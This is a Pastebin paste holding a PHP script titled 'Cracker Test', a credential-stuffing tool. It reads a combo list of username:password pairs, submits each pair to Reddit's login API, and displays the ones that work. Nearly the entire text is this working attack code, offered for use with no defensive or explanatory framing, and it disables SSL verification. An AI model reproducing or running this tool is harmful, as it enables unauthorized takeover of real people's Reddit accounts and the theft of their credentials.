Guest User

Untitled

a guest
Feb 7th, 2017
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.49 KB | None | 0 0
  1. <head>
  2. <title>Cracker Test</title>
  3. <style>
  4. p {
  5. font-size: 12px;
  6. }
  7. </style>
  8. </head>
  9. <body style="background-color: #000;">
  10. <p align="center">
  11. <form method='POST'>
  12. <center><font size="5" style="color: #FFF; font-weight:bold; font-family: verdana;">Cracker Test</center>
  13. <center><input type="text" name="user" id="user" style="background-color: #FFF;" value="combo.txt"><br>Example: wordlist.txt<br>max 1.000 lines<br></center>
  14. <p><center><input type="submit" value="Reset" name="scan"><br><br></p></center>
  15. </textarea>
  16.  
  17. </form>
  18. </body>
  19. <?php
  20. @set_time_limit(0);
  21. if(isset($_POST['user'])) {
  22. crack();
  23. }
  24.  
  25. function crack() {
  26. $readwordlist = $_POST['user'];
  27. $lines = file($readwordlist);
  28. foreach ($lines as $line) {
  29. $readwordlist = "working.txt";
  30. $combo = explode(':', $line);
  31. $username = $combo[0];
  32. $password = $combo[1];
  33.  
  34. try {
  35. // Curl Function ^_^
  36. $ch = curl_init();
  37.  
  38. $headarray = array(
  39. 'Host: www.reddit.com',
  40. 'Connection: keep-alive',
  41. 'Accept: application/json, text/javascript, */*; q=0.01',
  42. 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
  43. 'Origin: https://www.reddit.com',
  44. );
  45.  
  46. $options = array(
  47. CURLOPT_URL => "https://www.reddit.com",
  48. CURLOPT_HTTPHEADER => $headarray,
  49. CURLOPT_FOLLOWLOCATION => true,
  50. CURLOPT_CONNECTTIMEOUT => 20,
  51. CURLOPT_TIMEOUT => 20,
  52. CURLOPT_SSL_VERIFYHOST => false,
  53. CURLOPT_SSL_VERIFYPEER => false,
  54. CURLOPT_RETURNTRANSFER => true,
  55. CURLOPT_COOKIEFILE => "",
  56. CURLOPT_FRESH_CONNECT => true,
  57. CURLOPT_REFERER => "https://www.reddit.com/",
  58. CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
  59.  
  60.  
  61. );
  62. curl_setopt_array($ch, $options);
  63. $check = curl_exec($ch);
  64. if (strpos($check, "reddit") <> true)
  65. {
  66. echo "something went wrong!, trying new request<br>";
  67. } else
  68. {
  69.  
  70. // Curl Function ^_^
  71. $headarray = NULL;
  72. $headarray = array(
  73. 'Host: www.reddit.com',
  74. 'Connection: keep-alive',
  75. 'Accept: application/json, text/javascript, */*; q=0.01',
  76. 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
  77. 'Origin: https://www.reddit.com',
  78. 'X-Requested-With: XMLHttpRequest',
  79. );
  80.  
  81. curl_setopt($ch, CURLOPT_URL, "https://www.reddit.com/api/login/" . $username);
  82. curl_setopt($ch, CURLOPT_HTTPHEADER, $headarray);
  83. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  84. curl_setopt($ch, CURLOPT_REFERER, "https://www.reddit.com/");
  85. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
  86. curl_setopt($ch, CURLOPT_TIMEOUT, 20);
  87. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  88. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  89. curl_setopt($ch, CURLOPT_POSTFIELDS, "op=login-main&user=".$username."&passwd=".$password."&api_type=json");
  90. curl_setopt($ch, CURLOPT_POST, 1);
  91. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  92. curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
  93.  
  94. //perform our request
  95. $result = curl_exec($ch);
  96. curl_close($ch);
  97. if (strpos($result, "modhash")) {
  98. echo "<textarea cols=\"50\" rows=\"10\" style=\"background-color:green; color:#000;\">"$username . ":" . $password . "</textarea><br>";
  99. return 2;
  100. }
  101.  
  102. if (strpos($result, "INCORRECT_USERNAME_PASSWORD")) {
  103. echo "<p>This means it was invalid!.</p>";
  104. continue;
  105. return 1;
  106. }
  107. if (strpos($result, "WRONG_PASSWORD")) {
  108. echo "<p>This means it was wrong pass!.</p>";
  109. continue;
  110. return 1;
  111. }
  112. }
  113. }
  114. catch(Exception $e){
  115. throw new Exception("Invalid Request",0,$e);
  116. }
  117. }
  118. }
  119.  
  120. ?>
Add Comment
Please, Sign In to add comment